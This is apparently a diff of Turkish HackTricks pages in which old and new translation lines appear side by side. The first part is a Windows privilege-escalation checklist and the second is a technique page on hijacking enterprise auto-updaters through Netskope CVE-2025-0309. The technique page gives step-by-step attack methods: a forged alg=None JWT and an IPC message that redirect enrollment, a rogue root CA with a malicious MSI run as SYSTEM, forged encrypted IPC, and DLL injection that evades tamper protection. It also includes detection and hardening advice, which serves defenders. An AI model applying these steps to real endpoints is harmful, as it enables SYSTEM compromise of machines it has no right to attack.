- [ ] Ara **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits)
- [ ] **Google to search** ile kernel **exploits** için ara
- [ ] **searchsploit to search** ile kernel **exploits** için ara
- [ ] [**env vars**](windows-local-privilege-escalation/index.html#environment) içinde ilginç bilgi var mı?
- [ ] [**System information**](windows-local-privilege-escalation/index.html#system-info) elde et
- [ ] **kernel** için [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits) ara
- [ ] Google'ı kullanarak kernel **exploits** ara
- [ ] searchsploit kullanarak kernel **exploits** ara
- [ ] [**env vars**](windows-local-privilege-escalation/index.html#environment) içinde ilginç bilgiler var mı?
- [ ] [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history) içinde parolalar var mı?
- [ ] [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings) içinde ilginç bilgi var mı?
- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives)?
- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus)?
- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)?
- [ ] [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings) içinde ilginç bilgiler var mı?
- [ ] [**Drives**](windows-local-privilege-escalation/index.html#drives) var mı?
- [ ] [**WSUS exploit**](windows-local-privilege-escalation/index.html#wsus) var mı?
- [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md) kontrol et
- [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated) etkin mi?
### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration)
- [ ] Kontrol edin [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings) ve [**WEF** ](windows-local-privilege-escalation/index.html#wef) ayarlarını
- [ ] Kontrol edin [**LAPS**](windows-local-privilege-escalation/index.html#laps)
- [ ] [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest) aktif mi kontrol edin
- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)?
- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials)
- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)?
- [ ] Herhangi bir [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) kontrol edin
- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md) kontrol edin
- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
- [ ] Mevcut kullanıcı [**privileges**](windows-local-privilege-escalation/index.html#users-and-groups) kontrol edin
- [ ] Herhangi bir [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups) misiniz?
- [ ] Aşağıdaki token'lara sahip misiniz kontrol edin (enabled): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)?
- [ ] [**users homes**](windows-local-privilege-escalation/index.html#home-folders) kontrol edin (erişim?)
- [ ] [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy) kontrol edin
- [ ] [**inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard) içinde ne var?
- [ ] [**Audit**](windows-local-privilege-escalation/index.html#audit-settings) ve [**WEF**](windows-local-privilege-escalation/index.html#wef) ayarlarını kontrol et
- [ ] [**LAPS**](windows-local-privilege-escalation/index.html#laps) kontrol et
- [ ] [**WDigest**](windows-local-privilege-escalation/index.html#wdigest) aktif mi?
- [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection) etkin mi?
- [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials) etkin mi?
- [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials) var mı?
- [ ] Herhangi bir [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md) var mı?
- [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy) kontrol et
- [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md) kontrol et
- [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups) kontrol et
- [ ] [**current** user **privileges**](windows-local-privilege-escalation/index.html#users-and-groups) kontrol et
- [ ] [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups) üyesi misiniz?
- [ ] [any of these tokens enabled](windows-local-privilege-escalation/index.html#token-manipulation) var mı: **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
- [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions) var mı?
- [ ] [ **users homes**](windows-local-privilege-escalation/index.html#home-folders) kontrol et (erişim?)
- [ ] [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy) kontrol et
- [ ] Panodaki içerik nedir: [**inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)?
### [Network](windows-local-privilege-escalation/index.html#network)
- [ ] Mevcut [**network information**](windows-local-privilege-escalation/index.html#network) kontrol edin
- [ ] Dışa kapalı gizli local servisleri kontrol edin
- [ ] **current** [**network** **information**](windows-local-privilege-escalation/index.html#network) kontrol et
- [ ] Dışarıya kapalı gizli local servisleri kontrol et
### [Running Processes](windows-local-privilege-escalation/index.html#running-processes)
- [ ] Process binary'lerinin [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) izinlerini kontrol edin
- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining)
- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
- [ ] İlginç process'lerle **ProcDump.exe** kullanarak kimlik bilgilerini çalın? (firefox, chrome, vb.)
- [ ] Process binary'lerinin [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions) kontrol et
- [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining) kontrol et
- [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps) kontrol et
- [ ] `ProcDump.exe` ile **interesting processes** üzerinden kimlik bilgisi çalın? (firefox, chrome, vb ...)
### [Services](windows-local-privilege-escalation/index.html#services)
- [ ] Herhangi bir service'yi **değiştirebilir** misiniz? (modify) (permissions) [Can you **modify any service**?](windows-local-privilege-escalation/index.html#permissions)
- [ ] Herhangi bir service tarafından **çalıştırılan binary'yi** **değiştirebilir** misiniz? [Can you **modify** the **binary** that is **executed** by any **service**?](windows-local-privilege-escalation/index.html#modify-service-binary-path)
- [ ] Herhangi bir service'in **registry**'sini **değiştirebilir** misiniz? [Can you **modify** the **registry** of any **service**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions)
- [ ] Herhangi bir **unquoted service** binary **path**'inden yararlanabilir misiniz? [Can you take advantage of any **unquoted service** binary **path**?](windows-local-privilege-escalation/index.html#unquoted-service-paths)
- [ ] [Can you **modify any service**?](windows-local-privilege-escalation/index.html#permissions) kontrol et
- [ ] [Can you **modify** the **binary** that is **executed** by any **service**?](windows-local-privilege-escalation/index.html#modify-service-binary-path) kontrol et
- [ ] [Can you **modify** the **registry** of any **service**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions) kontrol et
- [ ] [Can you take advantage of any **unquoted service** binary **path**?](windows-local-privilege-escalation/index.html#unquoted-service-paths) yararlanılabilir mi?
### [**Applications**](windows-local-privilege-escalation/index.html#applications)
- [ ] Yüklü uygulamalarda **write** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions)
- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup)
- [ ] **Vulnerable** [**Drivers**](windows-local-privilege-escalation/index.html#drivers)
- [ ] **Yazma** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions) izni var mı?
- [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup) kontrol et
- [ ] **Zayıf** [**Drivers**](windows-local-privilege-escalation/index.html#drivers) var mı?
### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking)
- [ ] PATH içindeki herhangi bir klasöre **yazabilir** misiniz?
- [ ] Hiçbir servisin bilinen ve **olmayan** bir DLL'i yüklemeye çalıştığı biliniyor mu?
- [ ] Herhangi bir **binaries folder** içine **yazabilir** misiniz?
- [ ] PATH içindeki herhangi bir klasöre **yazabilir misiniz**?
- [ ] Bilinen bir servis binary'si herhangi bir mevcut olmayan DLL'i yüklemeye çalışıyor mu?
- [ ] Herhangi bir **binaries folder**'a yazma izniniz var mı?
### [Network](windows-local-privilege-escalation/index.html#network)
- [ ] Ağı enumerate edin (shares, interfaces, routes, neighbours, ...)
- [ ] Localhost (127.0.0.1) üzerinde dinleyen network servislerine özellikle bakın
- [ ] Ağı enumerate et (shares, interfaces, routes, neighbours, ...)
- [ ] localhost (127.0.0.1) üzerinde dinleyen network servislerine özellikle bak
### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials)
- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials) kimlik bilgileri
- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) kullanabileceğiniz kimlik bilgileri var mı?
- [ ] İlginç [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)?
- [ ] Kaydedilmiş [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi) parolaları?
- [ ] [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections) içinde ilginç bilgi?
- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials) credentials
- [ ] Kullanabileceğiniz [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) credentials var mı?
- [ ] İlginç [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi) var mı?
- [ ] Kaydedilmiş [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi) şifreleri var mı?
- [ ] [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections) içinde ilginç bilgiler var mı?
- [ ] [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands) içinde parolalar var mı?
- [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) parolaları?
- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Kimlik bilgileri?
- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Credentials var mı?
- [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading?
### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)
- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)?
- [ ] [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files) içinde parolalar?
- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **ve** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
- [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry) var mı?
- [ ] [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files) içinde parolalar var mı?
- [ ] Herhangi bir [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) yedeği var mı?
- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)?
- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) dosyası?
- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)?
- [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials) var mı?
- [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) dosyası var mı?
- [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword) var mı?
- [ ] [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config) içindeki parola?
- [ ] [**web logs**](windows-local-privilege-escalation/index.html#logs) içinde ilginç bilgi?
- [ ] Kullanıcıdan [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) ister misiniz?
- [ ] [**Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin) içindeki ilginç dosyalar?
- [ ] Diğer [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry)
- [ ] [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) içinde (dbs, history, bookmarks, ...)?
- [ ] Dosya ve registry'de [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry)
- [ ] Parola aramak için [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords)
- [ ] [**web** **logs**](windows-local-privilege-escalation/index.html#logs) içinde ilginç bilgiler var mı?
- [ ] Kullanıcıdan [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) istemek ister misiniz?
- [ ] [**files inside the Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin) içinde ilginç dosyalar var mı?
- [ ] Diğer [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry) kayıtlarını kontrol et
- [ ] [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) içinde (dbs, history, bookmarks, ...) var mı?
- [ ] Dosyalarda ve registry'de [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) yap
- [ ] Parolaları otomatik aramak için [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) kullan
### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers)
@ -110,6 +110,6 @@
### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
- [ ] Kötüye kullanıp kullanamayacağınızı kontrol edin
- [ ] Bunu kötüye kullanıp kullanamayacağınızı kontrol et
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,28 +1,28 @@
# Abusing Enterprise Auto-Updaters and Privileged IPC (e.g., Netskope stAgentSvc)
# Kurumsal Otomatik Güncelleyicilerin ve Ayrıcalıklı IPC'nin Kötüye Kullanımı (ör. Netskope stAgentSvc)
{{#include ../../banners/hacktricks-training.md}}
Bu sayfa, düşük sürtünmeli bir IPC yüzeyi ve ayrıcalıklı bir update akışıığa çıkaran kurumsal endpoint agentları ve updateler içinde bulunan Windows local privilege escalation zincirleri sınıfını genelleştirir. Temsilî bir örnek, düşük ayrıcalıklı bir kullanıcının enrollment'ı bir saldırgan kontrolündeki sunucuya zorlayabildiği ve ardından SYSTEM servisinin kurduğu kötü amaçlı bir MSI teslim edebildiği Netskope Client for Windows < R129 (CVE-2025-0309)dır.
Bu sayfa, düşük sürtünmeli bir IPC yüzeyi ve ayrıcalıklı bir güncelleme akışıığa çıkaran kurumsal endpoint ajanlarında ve updaters'larda bulunan Windows local privilege escalation zincirlerinin bir sınıfını genelleştirir. Temsili bir örnek, düşük ayrıcalıklı bir kullanıcının kaydı saldırgan kontrolündeki bir sunucuya zorlayabileceği ve ardından SYSTEM servisi tarafından kurulacak kötü niyetli bir MSI teslim edebileceği Netskope Client for Windows < R129 (CVE-2025-0309) durumudur.
Yeniden kullanabileceğiniz ana fikirler:
- Bir privileged servisinin localhost IPC'sini, reenrollment veya yeniden yapılandırmayı saldırgan sunucuya zorlamak için kötüye kullanın.
- Vendorın update endpointlerini implemente edin, rogue Trusted Root CA teslim edin ve updater'ı kötü amaçlı, “signed” pakete yönlendirin.
- Zayıf signer kontrollerinden (CN allowlists), opsiyonel digest flag'lerden ve gevşek MSI properties'den kaçının.
- IPC “encrypted” ise, registry'de saklanan worldreadable makine tanımlayıcılarından key/IV türetin.
- Servis çağıranları image path/process name ile sınırlandırıyorsa, allowlisted bir process'e inject edin veya bir tane suspended olarak spawn edip DLL'inizi minimal bir threadcontext patch ile bootstrap edin.
Benzer ürünlere karşı tekrar kullanabileceğiniz temel fikirler:
- Ayrıcalıklı bir servisin localhost IPC'sini, yeniden kayıt veya yeniden yapılandırmayı saldırgan sunucuya zorlamak için kötüye kullanın.
- Vendorın update endpoint'lerini uygulayın, kötü niyetli bir Trusted Root CA teslim edin ve updater'ı kötü niyetli, “signed” bir pakete yönlendirin.
- Zayıf signer kontrollerinden (CN allowlists), isteğe bağlı digest bayraklarından ve gevşek MSI özelliklerinden kaçının.
- Eğer IPC “encrypted” ise, key/IV'yi registry'de saklanan ve herkesin okuyabildiği makine tanımlayıcılarından türetin.
- Servis çağıranları image path/process name ile kısıtlıyorsa, allowlisted bir sürece inject edin veya bir tane suspended olarak spawn edip minimal bir threadcontext patch ile DLL'inizi bootstrap edin.
---
## 1) Forcing enrollment to an attacker server via localhost IPC
## 1) localhost IPC üzerinden saldırgan sunucuya kayıt zorlamak
Birçok agent, SYSTEM servisine localhost TCP üzerinden JSON konuşan bir usermode UI process ile gelir.
Birçok ajan, JSON kullanarak localhost TCP üzerinden bir SYSTEM servisiyle konuşan usermode bir UI process ile gelir.
Netskope'de gözlemlendi:
Netskope'ta gözlemlendi:
- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM)
- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
Exploit flow:
1) Backend host'u (ör. AddonUrl) kontrol eden claim'lere sahip bir JWT enrollment token'ı craft edin. Alg olarak alg=None kullanın, böylece imza gerekmez.
2) JWT ve tenant adı ile provisioning komutunu çağıran IPC mesajını gönderin:
Exploit akışı:
1) Backend host'u kontrol eden claim'lere (ör. AddonUrl) sahip bir JWT enrollment token oluşturun. alg=None kullanın böylece imza gerekmeyecektir.
2) JWT'niz ve tenant adı ile provisioning komutunu çağıran IPC mesajını gönderin:
```json
{
"148": {
@ -31,88 +31,86 @@ Exploit flow:
}
}
```
3) Servis, enrollment/config için sahte sunucunuza istek göndermeye başlar, ör.:
3) Servis, enrollment/config için sahte sunucunuza istek göndermeye başlar, örneğin:
- /v1/externalhost?service=enrollment
- /config/user/getbrandingbyemail
Notlar:
- Eğer caller verification path/namebased ise, isteği allowlisted vendor binary'den başlatın (see §4).
- Eğer çağıran doğrulaması path/namebazlıysa, isteği allowlisted bir vendor binary'den başlatın (bkz. §4).
---
## 2) Hijacking the update channel to run code as SYSTEM
İstemci sunucunuzla iletişim kurduktan sonra, beklenen endpoint'leri uygulayın ve onu saldırgan MSI'ye yönlendirin. Tipik sıra:
İstemci sunucunuzla iletişim kurduktan sonra, beklenen endpoints'leri uygulayın ve onu saldırgan MSI'sine yönlendirin. Tipik sıralama:
1) /v2/config/org/clientconfig → Çok kısa bir güncelleme aralığı içeren JSON konfigürasyonu döndürün, örn.:
1) /v2/config/org/clientconfig → JSON konfigürasyonunu çok kısa bir güncelleme aralığıyla döndürün, örneğin:
```json
{
"clientUpdate": { "updateIntervalInMin": 1 },
"check_msi_digest": false
}
```
2) /config/ca/cert → Bir PEM CA sertifikası döndürür. Servis bunu Local Machine Trusted Root store into yükler.
2) /config/ca/cert → Bir PEM CA sertifikası döndürür. Servis bunu Local Machine Trusted Root deposuna yükler.
3) /v2/checkupdate → Zararlı bir MSI'ya ve sahte bir sürüme işaret eden metadata sağlar.
Bypassing common checks seen in the wild:
- Signer CN allowlist: servis sadece Subject CN'nin “netSkope Inc” veya “Netskope, Inc.” olup olmadığını kontrol ediyor olabilir. Sizin sahte CA'nız bu CN ile bir leaf verebilir ve MSI'yı imzalayabilir.
Gerçek dünyada görülen yaygın kontrollerin atlatılması:
- Signer CN allowlist: servis yalnızca Subject CN'nin “netSkope Inc” veya “Netskope, Inc.” olup olmadığını kontrol edebilir. Kötü niyetli CA'nız bu CN ile bir leaf sertifikası verebilir ve MSI'yı imzalayabilir.
- CERT_DIGEST property: CERT_DIGEST adlı zararsız bir MSI özelliği ekleyin. Kurulum sırasında uygulanmıyor.
- Optional digest enforcement: config flag (ör. check_msi_digest=false) ekstra kriptografik doğrulamayı devre dışı bırakır.
- Optional digest enforcement: config bayrağı (ör., check_msi_digest=false) ek kriptografik doğrulamayı devre dışı bırakır.
Sonuç: SYSTEM servisi MSI'nızı
C:\ProgramData\Netskope\stAgent\data\*.msi
konumundan kurar ve NT AUTHORITY\SYSTEM olarak rastgele kod çalıştırır.
Sonuç: SYSTEM servisi MSI'nızı C:\ProgramData\Netskope\stAgent\data\*.msi konumundan kurar ve NT AUTHORITY\SYSTEM olarak rastgele kod çalıştırır.
---
## 3) Forging encrypted IPC requests (when present)
R127'den itibaren, Netskope IPC JSON'u Base64 benzeri görünen encryptData alanına sarmıştı. Tersine mühendislik AES ve anahtar/IV'in herhangi bir kullanıcı tarafından okunabilen registry değerlerinden türetildiğini gösterdi:
R127'den itibaren, Netskope IPC JSON'u Base64 görünen encryptData alanına sardı. Tersine mühendislik, AES'in key/IV'nin herhangi bir kullanıcı tarafından okunabilen registry değerlerinden türetildiğini gösterdi:
- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
Saldırganlar şifrelemeyi yeniden üretebilir ve standart bir kullanıcıdan geçerli şifreli komutlar gönderebilir. Genel ipucu: bir agent aniden IPC'sini “şifreliyorsa”, HKLM altında device ID'ler, product GUID'leri, install ID'ler gibi materyallere bakın.
Saldırganlar şifrelemeyi çoğaltıp normal bir kullanıcıdan geçerli şifreli komutlar gönderebilir. Genel ipucu: bir agent aniden “encrypts” its IPC ise, malzeme olarak HKLM altında device ID'leri, product GUID'leri, install ID'leri arayın.
---
## 4) Bypassing IPC caller allowlists (path/name checks)
Bazı servisler TCP bağlantısının PID'sini çözerek eş tarafı authenticate etmeye çalışır ve image path/name'i Program Files altında bulunan izinli vendor ikili dosyalarla (ör. stagentui.exe, bwansvc.exe, epdlp.exe) karşılaştırır.
Bazı servisler TCP bağlantısının PID'sini çözerek eş tarafı doğrulamaya çalışır ve image path/name'i Program Files altında izin listesinde olan vendor binary'lerle karşılaştırır (örn., stagentui.exe, bwansvc.exe, epdlp.exe).
İki pratik bypass:
- izinli bir süreçe (ör. nsdiag.exe) DLL injection yapıp IPC'yi içinden proxy'leyin.
- izinli bir ikiliyi suspended olarak spawn edin ve CreateRemoteThread kullanmadan proxy DLL'inizi bootstrap ederek driverenforced tamper kurallarını sağlayın (bkz §5).
İki pratik atlatma yöntemi:
- Allowlist'lenmiş bir sürece (örn. nsdiag.exe) DLL injection yapıp onun içinden IPC'yi proxy'lemek.
- Izin listesinde olan bir binary'yi suspended olarak başlatıp CreateRemoteThread kullanmadan proxy DLL'inizi bootstrap ederek driver tarafından uygulanan tahrif kurallarını karşılamak (bkz. §5).
---
## 5) Tamperprotection friendly injection: suspended process + NtContinue patch
Ürünler genelde protected süreçlere ait handle'lardan tehlikeli hakları temizlemek için bir minifilter/OB callbacks driver ile gelir (ör. Stadrv):
Ürünler genellikle korumalı süreçlerin handle'larından tehlikeli hakları kaldırmak için minifilter/OB callbacks içeren bir driver (örn. Stadrv) ile gelir:
- Process: PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME haklarını kaldırır
- Thread: THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE ile sınırlı tutar
- Thread: THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE ile sınırlar
Bu kısıtlamalara saygı gösteren güvenilir bir usermode loader:
1) Vendor ikili dosyasını CREATE_SUSPENDED ile CreateProcess edin.
2) Hâlâ almanıza izin verilen handle'ları edinin: process için PROCESS_VM_WRITE | PROCESS_VM_OPERATION ve bir thread handle'ı için THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (veya bilinen bir RIP'te kodu patchliyorsanız sadece THREAD_RESUME).
3) ntdll!NtContinue (veya başka erken, garantiyle map edilmiş thunk) üzerine küçük bir stub yazın; bu stub DLL yolunuzda LoadLibraryW çağırıp sonra geri zıplasın.
4) ResumeThread ile stub'unuzun inprocess tetiklenmesini sağlayın ve DLL'inizi yükleyin.
1) Vendor binary için CREATE_SUSPENDED ile CreateProcess çağrısı.
2) Hâlâ elde edebildiğiniz handle'ları alın: process üzerinde PROCESS_VM_WRITE | PROCESS_VM_OPERATION ve bir thread handle'ı için THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (veya kodu bilinen bir RIP'te patchliyorsanız sadece THREAD_RESUME).
3) ntdll!NtContinue (veya başka erken, garantilimapped thunk) üzerine, DLL yolunuzda LoadLibraryW çağıran ve sonra geri atlayan küçük bir stub yazın.
4) ResumeThread ile stub'unuzun süreç içinde tetiklenmesini sağlayın ve DLL'inizi yükleyin.
Zaten korunmuş bir süreç üzerinde PROCESS_CREATE_THREAD veya PROCESS_SUSPEND_RESUME kullanmadığınız için (süreci siz oluşturdunuz), driver politikası sağlanmış olur.
Zaten korumalı bir süreç üzerinde PROCESS_CREATE_THREAD veya PROCESS_SUSPEND_RESUME kullanmadığınız için (süreci siz oluşturduğunuzdan), driver politikası sağlanmış olur.
---
## 6) Practical tooling
- NachoVPN (Netskope plugin) sahte CA, zararlı MSI imzalama sürecini otomatikleştirir ve gerekli endpoint'leri sunar: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
- UpSkope, isteğe bağlı olarak AESşifreli olabilen rastgele IPC mesajları üreten ve izinli bir ikili üzerinden kökenlenmesi için suspendedprocess injection içeren özel bir IPC client/exploit'tir.
- NachoVPN (Netskope plugin) kötü niyetli bir CA, zararlı MSI imzalama ve gereken endpoint'leri otomatikleştirir: /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
- UpSkope, rastgele (isteğe bağlı olarak AESencrypted) IPC mesajları oluşturan ve izin listesinde olan bir binary'den başlayacak şekilde suspendedprocess injection içeren özel bir IPC client'tır.
---
## 7) Detection opportunities (blue team)
- Local Machine Trusted Root'a eklemeleri izleyin. Sysmon + registrymod eventing (bkz SpecterOps guidance) iyi çalışır.
- Ajan servisi tarafından C:\ProgramData\<vendor>\<agent>\data\*.msi gibi yollarından başlatılan MSI çalıştırmalarını işaretleyin.
- Beklenmeyen enrollment host/tenant'lar için ajan loglarını inceleyin, örn: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log addonUrl / tenant anomalilerine ve provisioning msg 148'e bakın.
- Beklenen imzalı ikililer olmayan veya sıra dışı child process tree'lerinden gelen localhost IPC client'ları için alarm oluşturun.
- Local Machine Trusted Root'a eklemeleri izleyin. Sysmon + registrymod eventing (bkz. SpecterOps rehberliği) iyi çalışır.
- Agent servisinin C:\ProgramData\<vendor>\<agent>\data\*.msi gibi yollarından başlattığı MSI yürütmelerini işaretleyin.
- Beklenmeyen enrollment hostları/tenant'lar için agent log'larını gözden geçirin, örn.: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log addonUrl / tenant anomalilerine ve provisioning msg 148'e bakın.
- Beklenen imzalı binary'ler olmayan veya sıra dışı child process ağaçlarından kaynaklanan localhost IPC istemcileri için alarm oluşturun.
---
## Hardening tips for vendors
- Enrollment/update host'larını sıkı bir allowlist'e bağlayın; client code içinde güvenilmeyen domainleri reddedin.
- IPC peer'lerini image path/name kontrolleri yerine OS primitifleriyle authenticate edin (ALPC security, namedpipe SIDs).
- Gizli materyalleri worldreadable HKLM'de tutmayın; eğer IPC şifrelenmek zorundaysa anahtarları protected secret'lardan türetin veya authenticated kanallarda müzakere edin.
- Updater'ı bir supplychain yüzeyi olarak değerlendirin: kontrol ettiğiniz güvenilir bir CA'ya tam zincir gerektirin, paket imzalarını pinned key'lere karşı doğrulayın ve config'te doğrulama devre dışıysa kapatın (fail closed).
- Enrollment/update hostlarını sıkı bir allowlist'e bağlayın; clientcode içinde güvenilmeyen domainleri reddedin.
- IPC eşlerini image path/name kontrolleri yerine OS primitive'ları ile doğrulayın (ALPC security, namedpipe SIDs).
- Gizli materyali worldreadable HKLM'den uzak tutun; IPC şifrelenmesi gerekiyorsa anahtarları korunmuş sırlar üzerinden türetin veya kimlik doğrulanmış kanallar üzerinden pazarlık (negotiate) yapın.
- Updater'ı bir supplychain yüzeyi olarak ele alın: kontrolünü elinizde tuttuğunuz güvenilen bir CA'ya tam zincir gerektirin, paket imzalarını pinned anahtarlar ile doğrulayın ve config'te doğrulama devre dışıysa kapatın (fail closed).
## References
